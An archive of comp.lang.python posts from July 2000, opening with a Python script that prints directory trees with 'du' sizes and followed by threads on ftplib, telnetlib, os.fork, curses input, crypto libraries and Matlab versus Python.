# Produce directory hierarchy with sizes, well sorted and indented.
# Copyright ? 1996, 1999, 2000 Progiciels Bourbeau-Pinard inc.
# Fran?ois Pinard <pinard at iro.umontreal.ca>, 1996.

# Idea from Pierre Rioux <riouxp at bch.umontreal.ca>, 1996-07-12.

"""\
Produce directory hierarchy with sizes, well sorted and indented.

Usage: tree [OPTION]... PATH...

  -p          display sizes vertically within a single prefix column
  -m          if not -p, mirror the structure while displaying sizes
  -b          within a directory, show biggest hierarchies first
  -l LEVEL    disregard directories more than LEVEL levels deep
  -s SIZE     disregard hierarchies smaller than SIZE Kb

By default, sizes are printed before the name, and sort is lexicographical.
Use `.' to list the current directory.
"""

import getopt, os, string, sys

class run:
    biggest = 0
    mirror = 0
    prefix = 0
    level = None
    size = None

def main(*arguments):
    if not arguments:
        sys.stdout.write(__doc__)
        sys.exit(0)
    # Decode options.
    options, arguments = getopt.getopt(arguments, 'bl:mps:')
    for option, value in options:
        if option == '-b':
            run.biggest = 1
        elif option == '-l':
            run.level = int(value)
        elif option == '-m':
            run.mirror = 1
        elif option == '-p':
            run.prefix = 1
        elif option == '-s':
            run.size = int(value)
    # Get the data, properly filtered.
    pairs = []
    for line in os.popen('du %s' % string.join(arguments)).readlines():
        text, path = string.split(line, '\t')
        size = int(text)
        if run.size is None or size >= run.size:
            split = string.split(path[:-1], '/')
            if run.level is None or len(split) <= run.level:
                pairs.append([split, size])
    # Sort the information as wanted.
    if run.biggest:
        value = {}
        for split, size in pairs:
            value[tuple(split)] = -size
        items = []
        for split, size in pairs:
            item = []
            for counter in range(len(split)):
                item.append((value[tuple(split[:counter+1])], split[counter]))
            items.append(item)
        items.sort()
        pairs = []
        for item in items:
            split = map(lambda((size, fragment)): fragment, item)
            size = -item[-1][0]
            pairs.append([split, size])
    else:
        pairs.sort()
    # Erase unneeded fragments of vertical lines.
    clean(pairs)
    pairs.reverse()
    clean(pairs)
    pairs.reverse()
    # Erase leftmost white columns.
    skip = 0
    split, size = pairs[0]
    while not split[skip]:
        skip = skip + 1
    # Format size information.
    margin_size = 0
    for pair in pairs:
        split, size = pair
        if run.prefix:
            pair[1] = '%d ' % size
        elif run.mirror:
            margin = '%d _/' % size
            items = split[skip:-1]
            items.reverse()
            for item in items:
                if item:
                    margin = margin + '  |'
                else:
                    margin = margin + '   '
            pair[1] = margin
        else:
            split[-1] = '%d %s' % (size, split[-1])
            pair[1] = ''
        margin_size = max(margin_size, len(pair[1]))
    # Produce resulting display.
    write = sys.stdout.write
    for split, margin in pairs:
        write(' ' * (margin_size - len(margin)))
        write(margin)
        for item in split[skip:-1]:
            if item:
                write('|  ')
            else:
                write('   ')
        write('\\_ %s\n' % split[-1])

def clean(pairs):
    # The basename is always written.  Intermediate directories normally
    # print as `|', yet None is used to inhibit the vertical line.
    draw = []
    for split, size in pairs:
        while len(draw) > len(split) - 1:
            del draw[-1]
        while len(draw) < len(split) - 1:
            draw.append(0)
        draw.append(1)
        for counter in range(len(split) - 1):
            if not draw[counter]:
                split[counter] = None

if __name__ == '__main__':
    apply(main, tuple(sys.argv[1:]))
-------------- next part --------------

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard

From hamish_lawson at yahoo.co.uk  Mon Jul 31 10:35:36 2000
From: hamish_lawson at yahoo.co.uk (Hamish Lawson)
Date: Mon, 31 Jul 2000 07:35:36 -0700
Subject: How about each() instead of zip()?
Message-ID: <2b384e38.2adaccde@usw-ex0107-055.remarq.com>

A number of the proposals for a better name for the nascent
zip() function seem to employ the notion of taking items from
*each* of the constituent sequences. So I thought: how about
each() itself as the name of the function? So:

for x, y, z in each(a, b, c):
    print x, y, z


Hamish Lawson




-----------------------------------------------------------

Got questions?  Get answers over the phone at Keen.com.
Up to 100 minutes free!
http://www.keen.com



From jeroen at valcke.com  Sat Jul 15 17:29:13 2000
From: jeroen at valcke.com (Jeroen Valcke)
Date: Sat, 15 Jul 2000 21:29:13 GMT
Subject: automatically filling web forms?
Message-ID: <JI4c5.27939$SU5.618637@afrodite.telenet-ops.be>

Hello,  
I was wondering since it is possible to read from webpages using
the urllib in python, is it also possible to  'write' to a webpage. What I
mean is, can I automatically fill webforms?

-- 
  Jeroen Valcke		jeroen at valcke.com    ICQ# 30116911		Home page:
  http://users.pandora.be/valcke/jeroen/ The best glimpse of heaven ... is
  on the way into hell.



From ssurland at online.no  Sun Jul 30 06:47:20 2000
From: ssurland at online.no (Stein Surland)
Date: Sun, 30 Jul 2000 12:47:20 +0200
Subject: ftp and lowercase?
References: <39832544.2E05FCFB@online.no> <9yQg5.21128$5N1.752914@newsread1.prod.itd.earthlink.net>
Message-ID: <398407B8.381B029B@online.no>

J P wrote:
> 
> Have you tried sendcmd ("ls") ? I think that would work for you.
> 
> "Stein Surland" <ssurland at online.no> wrote in message
> news:39832544.2E05FCFB at online.no...
> > I have made a small script using ftplib to retrieve a list from a ftp
> > directory. It worked OK using ftp.retrlines('LIST', lines.append).
> > However using it on another ftp host gives me this message:
> >
> >     ftp.retrlines('ls', lines.append)
> >   File "/usr/lib/python1.5/ftplib.py", line 345, in retrlines
> >     conn = self.transfercmd(cmd)
> >   File "/usr/lib/python1.5/ftplib.py", line 285, in transfercmd
> >     return self.ntransfercmd(cmd)[0]
> >   File "/usr/lib/python1.5/ftplib.py", line 273, in ntransfercmd
> >     resp = self.sendcmd(cmd)
> >   File "/usr/lib/python1.5/ftplib.py", line 228, in sendcmd
> >     return self.getresp()
> >   File "/usr/lib/python1.5/ftplib.py", line 201, in getresp
> >     raise error_perm, resp
> > ftplib.error_perm: 500 'LS': command not understood.
> >
> > The host did not take the LIST command so I changed it to LS and ls. It
> > seems that the ftplib sends the list command in uppercase. How to change
> > this to lowercase? I have ftp'ed to the host and it does not recognize
> > LIST or LS only ls.
> >

Sorry, my mistake! My line in the ftp script:

	ftp.retrlines('LIST ', lines.append)

has a space after the LIST command. It worked well on one host, but not
on another. By closing it:

	ftp.retrlines('LIST', lines.append)

it works OK. I was a bit flabbergasted by the 'command not understood'
error...

Stein


-- 

Stein Surland			  Trying is the first step towards failure
ssurland at online.no			- Homer Simpson
http://home.online.no/~ssurland/


From gerryq at indigo.ie  Mon Jul 24 11:13:38 2000
From: gerryq at indigo.ie (Gerry Quinn)
Date: Mon, 24 Jul 2000 15:13:38 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <964118210.2281.0.pluto.d4ee0942@news.demon.nl> <397ab732.1184204@news.proxad.net> <964351215.18988.0.pluto.d4ee0942@news.demon.nl> <8lh588$oti$3@news.fsu.edu>
Message-ID: <T1Ze5.9877$r4.5093@news.indigo.ie>

In article <8lh588$oti$3 at news.fsu.edu>, Ronald Steedman <steedman at quake.cs.fsu.edu> wrote:
> A full compile of a complex software package can often take 30 seconds or
> more. That can be frustrating when you're trying to find and remove bugs.
> You try one thing, wait 30 seconds, try another thing, wait 30 seconds...
>
> Imagine how an intepreter would help. Try one thing IMMEDIATELY SEE THE
> RESULT... try another thing IMMEDIATELY SEE THE RESULT... then you only
> compile the application when you're finished and want a faster program.

If I were your boss I would make sure you had no access to an 
interpreter!  I would even slow down your compilation by giving you an 
older machine ;-)

Changing things at random and hoping the problem goes away is not the 
way to fix bugs.


Gerry Quinn                                   
--
http://bindweed.com
Puzzle / Strategy Games and Kaleidoscope for Windows
Download evaluation versions free, no time limits
New: Unique 2-player strategy game "Zen"


From btang at pacific.jpl.nasa.gov  Tue Jul 25 17:39:50 2000
From: btang at pacific.jpl.nasa.gov (Benyang Tang)
Date: Tue, 25 Jul 2000 14:39:50 -0700
Subject: python (I sent this by mistake.)
References: <397E0813.640A3D21@pacific.jpl.nasa.gov>
Message-ID: <397E0926.62EF0114@pacific.jpl.nasa.gov>


Benyang Tang wrote:
> 
> 1.
> Learning Python (Help for Programmers)
>                 by Mark Lutz, et al
> 
> I learned python from this book. But it is can be hard for the very beginner. It is a good book though.
> 
> 2.
> The Quick Python Book
>                 by Daryl D. Harms, Kenneth McDonald
> I don't have this book, but I read it in bookstore. I think it is better the Lutz's book for beginners.
> 
> The python distribution also includes a good tutorial. You can learn the very basic from there.
> 

Sorry. I don't mean to send the above message to the newsgroup.


From pj at sgi.com  Thu Jul 27 22:17:55 2000
From: pj at sgi.com (Paul Jackson)
Date: 28 Jul 2000 02:17:55 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <8losor$4bk$1@nnrp1.deja.com> <8lpand0gbg@news1.newsguy.com>
Message-ID: <8lqqgj$a2tvs$1@fido.engr.sgi.com>

Alex wrote:
|> People using Perl for web-related tasks are really legions ...

Just an anecdote to back this up:

    As I was leaving the Main Auditorium from a speech by
    Bill Joy last year, at O'Reilly's Open Source Conference
    in Monterey, California, to go to the Python break-out
    session, I noticed that perhaps 900 of the 1000 people (wild
    estimates) were staying in their seats.  I got worried that
    I had read my schedule wrong, and that there was another
    general session next.  Reading carefully, I found that:
    no - the Perl break-out session was in the Main Auditorium.

-- 
-- 
I won't rest till it's the best ...	   Software Production Engineer
Paul Jackson (pj at sgi.com; pj at usa.net) 3x1373 http://sam.engr.sgi.com/pj


From mwh21 at cam.ac.uk.bbs  Tue Jul 18 02:20:04 2000
From: mwh21 at cam.ac.uk.bbs (mwh21 at cam.ac.uk.bbs)
Date: 18 Jul 2000 06:20:04 GMT
Subject: Python equivalent of CPAN in Perl
Message-ID: <3bRdh4$mXg@openbazaar.net>

Robin Becker <robin at jessikat.fsnet.co.uk> writes:

> Unfortunately not true. A large share of the Python market (on win32)
> have no compilers and probably wouldn't/couldn't use one even if it were
> present. I doubt the extension builders will always want to include
> .pyds for Python15.dll Python20.dll etc etc.

But distutils will make it much easier for someone else to provide the
binaries...

Cheers,
M.

--
  After a heavy night, I travelled on, my face toward home - the comma
  being by no means guaranteed.           -- paraphrased from cam.misc


From tjg at exceptionalminds.com  Mon Jul 31 12:13:54 2000
From: tjg at exceptionalminds.com (Timothy Grant)
Date: Mon, 31 Jul 2000 09:13:54 -0700
Subject: telnetlib
In-Reply-To: <cp3dkqe0k6.fsf@cj20424-a.reston1.va.home.com>; from guido@beopen.com on Mon, Jul 31, 2000 at 03:17:10PM +0000
References: <20000729152800.B1899@reepicheep.avalongroup.net> <cp3dkqe0k6.fsf@cj20424-a.reston1.va.home.com>
Message-ID: <20000731091354.A1319@reepicheep.avalongroup.net>

On Mon, Jul 31, 2000 at 03:17:10PM +0000, Guido van Rossum wrote:
> Timothy Grant <tjg at exceptionalminds.com> writes:
> 
> > Everything works great until I enter the Terminal type. It appears that the
> > telnet session stops receiving at that point. As you can see from the
> > Traceback I receive the echo of from my write, but then don't receive the
> > next prompt.
> > 
> > I'm guessing it has something to do with either changing the terminal type
> > on telnetlib, or a timing issue, but I'm stumped at the moment.
> 
> Could you post a transcript of what the session looks like when you do
> it manually???
> 
> A random "poke-and-hope" suggestion: perhaps you could use \r instead
> of \n in input???

OK, now I'm cautiously optimistic. Things look like they are working
correctly, though I still have a ways to go before I am convinced of the
fact.

This causes me to have a question. As I have been working through
this problem I used a debug level of 255 and interact() to see what was
going on. Using interact, the Enter key on my computer sends a \012. Using
\n sends the same thing. interact() would die in the same spot as my script
did, so is there something weird going on with this particular terminal?


-- 
Stand Fast,
    tjg.

Timothy Grant                         tjg at exceptionalminds.com
Chief Technology Officer              www.exceptionalminds.com
Red Hat Certified Engineer                      (503) 246-3630
Avalon Technology Group, Inc.               fax (503) 246-3124
>>>>>>>>>>>>Linux...Because crashing isn't normal<<<<<<<<<<<<<




From tim_one at email.msn.com  Fri Jul  7 14:54:14 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Fri, 7 Jul 2000 14:54:14 -0400
Subject: Splitting c.l.py...
In-Reply-To: <39661DE1.A409330C@roguewave.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEJPGIAA.tim_one@email.msn.com>

[Bjorn Pettersen]
> ...
>  *) Is there a forum for developers? This list seems more for
>     users isn't it ?

[Andrew Kuchling]
> It is now, because most of the core developers lack the time to keep
> up with python-list.  Still, starting more core discussions may lure
> some of them back.

Since I work for PythonLabs now, I guess that makes me a "core developer" by
definition <wink>.  Can't speak for me mates at Luxurious PythonLabs World
Headquarters, but I'd like to apologize for my own lack of participation on
c.l.py over the past several months!  The personal and professional demands
of closing down one job, starting another, and moving to a new state have
just been crushing.  Still are, alas.  And Guido got socked at least as hard
by the combo of getting married and trying to disentangle all the webs
binding Python to CNRI so that we can be *effective* at BeOpen.  At least
his marriage has worked out so far <wink>.

When things settle down, at least I intend to resume harassing c.l.py.  And
there's already a great deal of development discussion on Python-Dev that
*should* be on c.l.py.

if-you-can't-find-what-you-want-on-one-newsgroup-it's-not-likely-you'll-
    be-twice-as-successful-with-two-ly y'rs  - tim





From greg at perceval.be.bbs  Fri Jul 14 06:10:02 2000
From: greg at perceval.be.bbs (greg at perceval.be.bbs)
Date: 14 Jul 2000 10:10:02 GMT
Subject: getpid Usage
Message-ID: <3bOdgR$oOM@openbazaar.net>

In reply to the message of david at tumbleweed.com sent on Jul 13 (see below) :

You should have a look at the os.fork() function which is  python
"translation" of the fork system call (availability Unix).

It lets you create a new process (a child process) from the current one
(called the parent process). The child process execute the same than
the parent process. Thus, you have two processes, executing the same
code. The fork() function return 0 in the child process and the id
of the new created process for the parent process.

See the following example:

import os

i= os.fork()	# Create the new process

if i != 0:	# If i != 0, we are in the parent process
	print 'Forked process as the pid : ', i
else:		# We are in the child process
	os.system('ls -la')


hope-I-have-been-clear-enoughly-yours,

Gregoire Welraeds
greg at perceval.be
Perceval Development team
-------------------------------------------------------------------------------
Perceval Technologies sa/nv	Tel: +32-2-6409194
Rue Tenbosch, 9			Fax: +32-2-6403154
B-1000 Brussels			general information:   info at perceval.net
BELGIUM				technical information: helpdesk at perceval.net
URL: http://www.perceval.be/
-------------------------------------------------------------------------------

On Thu, 13 Jul 2000 david at tumbleweed.com wrote:

> Date: Thu, 13 Jul 2000 17:02:20 -0000
> From: david at tumbleweed.com
> To: python-list at cwi.nl
> Subject: getpid Usage
>
> Is there some convenient way of getting os.getpid to return the PID of
> a given executable? What I want to do is start a process and know it's
> PID. When I do the following I get the PID of the python executable.
>
> os.system("path")
> os.getpid()
>
> Alternatively, as a hack, I am doing:
> os.system(self.m_server_start_exe)
> for line in os.popen("ps -ef | grep -i IMEController | awk '{ if (NR >
> 1) { print $2 }}'").readlines():
>             pid = line[:-1]
>
> I would rather just path in an executable name/pathname and have it
> return this process' pid. Is there an updated version of os.getpid I
> could use to do this. If not, is there a better solution that is not
> shell dependent?
>
> Thanks,
> David
>
>
>
> --
> http://www.python.org/mailman/listinfo/python-list
>
>


From neilh at scintilla.org  Wed Jul 26 09:03:31 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Wed, 26 Jul 2000 13:03:31 GMT
Subject: PythonWin/Scintilla aggressive folding...
References: <guif5.43644$1h3.552517@news20.bellglobal.com> <2trf5.12076$4p3.93728@news-server.bigpond.net.au> <1csf5.40036$Gh.442627@news20.bellglobal.com> <7mwf5.12307$4p3.95451@news-server.bigpond.net.au> <397EAE32.8A76A18A@letterror.com>
Message-ID: <DkBf5.12782$4p3.98831@news-server.bigpond.net.au>

> still-hope-to-find-time-some-day-to-port-Scintilla-to-my-platform-ly
y'rs -- just

   That is certainly on the agenda.

   The Mac hasn't really had a decent binary visual object standard since
the demise of OpenDoc. Controls are too low level for something as complex
as Scintilla. I'm not very current on MacOS development but I imagine that
OS X will have something sensible for this.

   There is wxStyledTextControl, a Scintilla based class for wxWindows,
which could be made to work on MacOS.

   Neil




From robin at illusionsexeculink.com  Fri Jul 21 09:11:11 2000
From: robin at illusionsexeculink.com (robin at illusionsexeculink.com)
Date: Fri, 21 Jul 2000 09:11:11 -0400
Subject: Waiting for Threads to Stop [silly version]
References: <lzBd5.7626$IZ1.59773@iad-read.news.verio.net> <8l705c$uop$1@nntp9.atl.mindspring.net>
Message-ID: <irigns8q37k20qhc2r4labeorg5bqaklbu@4ax.com>

Personally, I'm waiting for this "zip vs. braid" thread to stop.

Any module to help me there? <grin>

-----
robin                          robin at illusionsexeculink.com
media artist /                 remove illusions to reply
information architect          www.execulink.com/~robin/

"I choked on my words but just couldn't spit. It will affect a lot of
physics --  it should have fallen from a bridge, but..." an official
said Wednesday. He was 74.  


From mbel44 at dial.pipex.net  Tue Jul 25 09:13:48 2000
From: mbel44 at dial.pipex.net (Toby Dickenson)
Date: Tue, 25 Jul 2000 14:13:48 +0100
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <964351215.18988.0.pluto.d4ee0942@news.demon.nl> <8lh588$oti$3@news.fsu.edu> <m3bsznpy4n.fsf@localhost.localdomain> <8li3gg$7vg$1@gaia.cdg.acriter.nl>
Message-ID: <an3rnsgf612vhfrbcko3tld5guka80miik@4ax.com>

cg at gaia.cdg.acriter.nl (Cees de Groot) wrote:

>Michael Hudson  <mwh21 at cam.ac.uk> said:
>>
>>Another major advantage of dynamic languages like Python (or lisp or
>>...) is that you can easily poke around at the data structures at
>>runtime (which is rather less tedious than stopping your debugging
>>session, adding some code to dump said data structures to a file,
>>recompiling, getting your program back to the state you want to debug,
>>then looking at the file, trying to remember why you created it).
>>
>And this gets /really/ great if your code runs in a persistent VM, like
>Smalltalk.

                  ...... or like python, using ZODB

http://starship.python.net/crew/amk/python/writing/zodb-zeo.html
http://www.zope.org/Members/michel/HowTos/ZODB-How-To



Toby Dickenson
tdickenson at geminidataloggers.com


From OneDay at ATime.net  Sun Jul 23 07:07:44 2000
From: OneDay at ATime.net (OneDay at ATime.net)
Date: Sun, 23 Jul 2000 07:07:44 EDT
Subject: Newbie ?? Running hello1.py and compiling?
Message-ID: <8lejm0$d3o$1@earth.superlink.net>

Hello all,

       At Python's site I started with Example 2.1, Our First Program. I 
opened IDLE, Opened a new window and copied/wrote the commands 
and saved it as hello1.py. 

        To run the program it says to "run the script as usual"
                                $ python hello1.py

        Where do I type this, I don't know what "as usual" means.

        After I wrote hello1.py, I noticed a compiled version in my explorer. 
Which I can run from there. How did that happen?

         When I copied/wrote hello2.py, following the above steps, I did not 
get a compiled version. What did I do wrong?

 
Thank you for your time and patience,
Al


From samschul at pacbell.net  Wed Jul  5 12:47:29 2000
From: samschul at pacbell.net (Sam Schulenburg)
Date: Wed, 05 Jul 2000 16:47:29 GMT
Subject: Corrected URL http://starship.python.net/crew/samschul
References: <8jvg2d$8q5$1@nnrp1.deja.com> <8jvgdi$95f$1@nnrp1.deja.com>
Message-ID: <8jvoqr$g18$1@nnrp1.deja.com>

The corrected URL ( I'll get it right yet)
http://starship.python.net/crew/samschul


Sent via Deja.com http://www.deja.com/
Before you buy.


From avv at quasar.ipa.nw.ru  Tue Jul 25 19:51:49 2000
From: avv at quasar.ipa.nw.ru (Alexander V. Voinov)
Date: Tue, 25 Jul 2000 16:51:49 -0700
Subject: Python & AI
References: <fr8rnskopofu13smscl4rm0b1pacisbikk@4ax.com>
Message-ID: <397E2815.A049BAF0@quasar.ipa.nw.ru>

Hi,

rhymes wrote:
> 
>  Do u know something on the net related to Artificial Intelligence and
> Python Language??

A wrapper for the FuzzyCLIPS engine, which implements forward chaining
(Rete algorithm) with fuzzy logic extensions:

ftp://starship.python.net/pub/crew/avv/clips-wrapper.tgz

A new version with a bit more enhanced interface is about to replace
this one.

Alexander



From ngps at madcap.dyndns.org  Mon Jul 24 10:45:55 2000
From: ngps at madcap.dyndns.org (Ng Pheng Siong)
Date: 24 Jul 2000 14:45:55 GMT
Subject: crypto modules in python
References: <397B8440.C1DD25C9@mindspringdot.com>
Message-ID: <8lhkr3$com$1@violet.singnet.com.sg>

According to anupam  <anupamk at mindspringdot.com>:
> can someone please point me to link(s) to python modules dealing with
> cryptography e.g ssleay or open ssl wrappers. i cannot find any sig
> at python.org dealing specifically with cryptography, and searching
> usenet at deja news wasn't very helpful either.

Hi,

M2Crypto at http://www.post1.com/home/ngps/m2 is a Python interface to
OpenSSL's crypto, SSL and S/MIME functionality.

python-crypto at egroups.com is a low-volume mailing list talking about
Python and crypto.

Cheers.

-- 
Ng Pheng Siong <ngps at post1.com> * http://www.post1.com/home/ngps



From nolan_d at bigfoot.com  Thu Jul  6 18:12:10 2000
From: nolan_d at bigfoot.com (Nolan Darilek)
Date: Thu, 06 Jul 2000 17:12:10 -0500
Subject: Nonblocking input: the quest continues
Message-ID: <E13AJsQ-0007cf-00@localhost>

I'm continuing to try to figure out this non-blocking input
thing. Yesterday I didn't want to use curses since cmd provided much
of the interface that I wanted. But, after grep'ing through Python
libraries, I don't feel any closer to a solution.

So, I thought that it might be possible to use curses for nonblocking
input only, and to ignore the additional functionality. I wrote up an
ugly, but semi-functional, replacement for raw_input which may do what
I want. But, I'm still encountering problems. Here is the ugly test
code which I've written:

#!/usr/bin/env python

import curses
import time

input=""
prompted=0
window=None

def raw_input(prompt = ""):
    global input, prompted, window
    if prompted == 0:
        print prompt
        prompted = 1
    ch = window.getch()
    if ch == -1:
        return None
    if chr(ch) == '\n':
        prompted = 0
        r = input
        input = ""
        return r
    input = input+chr(ch)

window = curses.initscr()
window.nodelay(1)
window.nooutrefresh()

for x in range(0, 10000000):
    time.sleep(0.1)
    line = raw_input(">")
    if line is not None:
        print line

While this does seem to except input nicely, and despite the fact that
it stores all incoming input in a global variable so that my program
can reconstruct the prompt when new data arrives, it still exhibits
problems. First, it doesn't print the prompt string. I'm wondering if
this is due to the fact that I'm mixing curses with print? Or is there
some silly error which I've missed due to the fact that I've been
staring at this for hours? :)

And, even if this approach excepts input, how will it behave when the
prompt is reconstructed and if someone wants to erase the text? Does
the text need to be stuffed into an input buffer, or will the terminal
nicely handle the program's request to erase text which was printed to
the display? I suspect not, so I'm wondering if I'm taking the wrong
approach with this? I had originally thought of trying to write to
stdin, hoping to cram text back into the input buffer, but this seems
to be impossible.




From chrisw at nipltd.com  Sat Jul  8 12:30:33 2000
From: chrisw at nipltd.com (Chris Withers)
Date: Sat, 08 Jul 2000 17:30:33 +0100
Subject: What about try:except:finally
References: <3967d908.363887342@news.online.no> <slrn8me79q.j9.daniels@localhost.localdomain>
Message-ID: <39675729.C9E01442@nipltd.com>

Alan Daniels wrote:
> >Does python support, or if not, would it be cool to have support for
> >try/except/finally?
> 
> No, but just use try/except/else instead. Why it's "else" instead of
> "finally", I have no idea, but this works just fine. Example:

Actually, yes it does ;-)

...but it does something different. I read the discription on page 50 of
David Beazely's Python Essential Reference, but it didn't make much
sense to me :S

cheers,

Chris



From wizard at eznet.net  Mon Jul 17 22:12:15 2000
From: wizard at eznet.net (David A. Frantz)
Date: Mon, 17 Jul 2000 21:12:15 -0500
Subject: OT: RedHat 6.1 (was Re: newbie unimpressed...)
References: <8kvp81$9q1$1@nnrp1.deja.com> <8kvqqb$8e5$1@nntp9.atl.mindspring.net> <unKc5.1423$6E.266474@ptah.visi.com> <8l047h$6ag$1@slb6.atl.mindspring.net>
Message-ID: <sn7bljemo53127@corp.supernews.com>

In article <8l047h$6ag$1 at slb6.atl.mindspring.net>, aahz at netcom.com (Aahz
Maruch) wrote:

> In article <unKc5.1423$6E.266474 at ptah.visi.com>, Grant Edwards
> <ge at nowhere.none> wrote:
>>In article <8kvqqb$8e5$1 at nntp9.atl.mindspring.net>, Aahz Maruch wrote:
>>>In article <8kvp81$9q1$1 at nnrp1.deja.com>,  <sharkey3 at my-deja.com>
>>>wrote:
>>>>
>>>>(I'm using python 1.5.1 on Redhat 5.2)
>>>
>>>I strongly recommend upgrading to Python 1.5.2.  The documentation is
>>>much better, for starters.
>>
>>FWIW, RH 5.2 is getting a bit old also.  I couldn't recommand
>>6.[01], but 6.2 seems to be decent.
> 
> What's wrong with 6.1?  (We upgraded a few months back, mainly to get
> 1.5.2, and I'd like to know if there's a serious reason we should move
> to 6.2.)

I don't know if you would consider this serious or not; but 6.2 as a whole is a vast improvement over 6.1.    Well maybe not 
vast but it certainly is the best bug fix release that I've seen.    The only unfortunate thing is that you have to be careful with
the Kernel Updates.    
> --
>                       --- Aahz (Copyright 2000 by aahz at netcom.com)
> 
> Androgynous poly kinky vanilla queer het    <*>    
> http://www.rahul.net/aahz/ Hugs and backrubs -- I break Rule 6
> 
> Q:  In a lesbian relationship, who decides who gets to be the man? A: 
> It's two women.  There is no man.  That's the point.


From neilh at scintilla.org  Thu Jul 27 09:30:05 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Thu, 27 Jul 2000 13:30:05 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au><8ln84n$380$1@gaia.cdg.acriter.nl><njLf5.12964$4p3.101185@news-server.bigpond.net.au> <S1Z1K6AQMBg5EwNZ@jessikat.fsnet.co.uk>
Message-ID: <xPWf5.13765$4p3.106670@news-server.bigpond.net.au>

> The fact that there are dyed in the wool M$ hating academics is surely a
> reflection of M$'s past behaviour. The fact that M$ can apparently turn
> these guys around so easily says a lot about what M$ is really good at
> (selling and hype) and also about what the academics are poor at (real
> world judgement).

   You are overlooking the appeal of a decent sized research grant to your
average starving academic ;)

   Neil




From cjensen at bioeng.ucsd.edu  Wed Jul  5 20:13:13 2000
From: cjensen at bioeng.ucsd.edu (Curtis Jensen)
Date: Wed, 05 Jul 2000 17:13:13 -0700
Subject: Py_Apache Vs. mod_python
Message-ID: <3963CF19.3F4CDA8D@bioeng.ucsd.edu>

What is the difference between Py_Apache and mod_python?  Thanks.

-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451


From hzhu at localhost.localdomain.bbs  Mon Jul 17 14:50:03 2000
From: hzhu at localhost.localdomain.bbs (hzhu at localhost.localdomain.bbs)
Date: 17 Jul 2000 18:50:03 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRLiS$lbb@openbazaar.net>

On Mon, 17 Jul 2000 13:33:55 -0500, Paul Prescod <paul at prescod.net> wrote:
>
>Let me repeat a challenge I made to Huaiyu Zhu. If the only difference
>between Matlab and Python is the syntax, then let's you and I make a
>Matlab syntax for Python and sell it at half of Matlab's price. We could
>make millions on a month's work!

I thought I replied your email through email ... Ah, here it is:

> > Now look at the total number of users of matlab/octave, and ask: Is python
> > really so inferior that most of them wouldn't switch to python?
>
> I have no idea. If the primary difference between expensive matrix
> packages and Python is syntax, perhaps you and I should incorporate and
> exploit that market inefficiency. :)

The market is efficient.  Matlab does worth that much (or even more).  It
does take that much human labor to get to that stage, so sadly we can't get
rich by following them.  On the other hand, open source may beat them
easily, as long as

1. we are using a better language which has more potential
2. users have incentive to contribute because it's already useful
3. there's no big hurdle beyond what's already in Numerical Recipe

>My strong feeling is that people don't just use Matlab for the syntax.
>And the popularity of Matlab books is probably not proportional to the
>popularity of Matlab. University students are forced to buy those books.

You feeling may be wrong, even if it is strong.  Many students use Matlab
despite their adviser's urge to use other more "conventional" software - at
least in the earlier years.  For all I know, the disproportionality is the
other way round - most matlab users never own a matlab book.  (A personal
note which may not worth much: I've used matlab for ten years and don't own
a matlab book.  I've used python for half a year and proudly own three
python books.)

Huaiyu


From digitig at cix.co.uk  Wed Jul  5 16:29:00 2000
From: digitig at cix.co.uk (Tim Rowe)
Date: Wed, 5 Jul 2000 21:29 +0100 (BST)
Subject: [FAQTS] Python Knowledge Base Update -- July 1st, 2000
References: <20000702031926.7937.qmail@synop.com>
Message-ID: <memo.20000705212939.11741A@digitig.compulink.co.uk>

In article <20000702031926.7937.qmail at synop.com>, fiona at sitegnome.com 
(Fiona Czuczman) wrote:

<snip>

> On Windows 9x systems, you may also use the COM interface. We have 
> recently used PythonWin to (what else?) spam a number of recipients 
> over Novell GroupWise. It took very little time to work this out.

Ah, that's useful -- I sometimes use Python to parse text into an Access 
97 DB, and at the moment I do it via CSV's. Where do I find info on the 
COM interface? With that I should be able to poke it in directly.


From bobby at devos.org  Wed Jul 12 22:53:46 2000
From: bobby at devos.org (Bobby de Vos)
Date: 12 Jul 2000 22:53:46 -0400
Subject: vCard module
Message-ID: <t1qhf9ukaf9.fsf@kermit.wreck.org>

Greetings,

Does anyone know of a Python module that would allow me to easily
parse and format vCards?

Thanks,
Bobby

-- 
Bobby "the fox" de Vos          bobby at devos.org
ECE - Georgia Tech              http://www.devos.org/bobby


From cut_me_out at hotmail.com  Sat Jul 15 15:05:36 2000
From: cut_me_out at hotmail.com (Alex)
Date: 15 Jul 2000 15:05:36 -0400
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk> <8kkuuv$ohu$1@nnrp1.deja.com> <8kl0c7$1h2n$1@pc-news.cogsci.ed.ac.uk> <8knhql$lpi$1@nnrp1.deja.com> <8knl04$1c9b$1@pc-news.cogsci.ed.ac.uk> <8kq8kc$guk$1@nnrp1.deja.com>
Message-ID: <etdbszzw6wv.fsf@w20-575-115.mit.edu>

>    Well it's exactly what I was doing once because I was a lot more
> clever than the guys who said I shouldn't. And then I decided quite
> suddenly that they were right. (At the end of a _long_ stretch trying
> to figure out why the heck something wasn't working - of course the
> answer is the object in question was very different from the object it
> appeared it should be...)

It can have really confusing consequences, but it's still too useful for
me to abandon.  If you have a class which takes a long time to
instantiate (e.g., you have to load a lot of statistical data into
memory,) then having a script like

class C:
    pass

if 't' not in dir():
    t = C()

t.__class__ = C
t.experiment_with_instance()

can really decrease your turn-around time when you're debugging -- you
can change t's methods around behind its back without changing its data.

Alex.


From Jorrit.Tyberghein at uz.kuleuven.ac.be  Wed Jul 19 03:05:37 2000
From: Jorrit.Tyberghein at uz.kuleuven.ac.be (Jorrit Tyberghein)
Date: Wed, 19 Jul 2000 09:05:37 +0200
Subject: Python in game development?
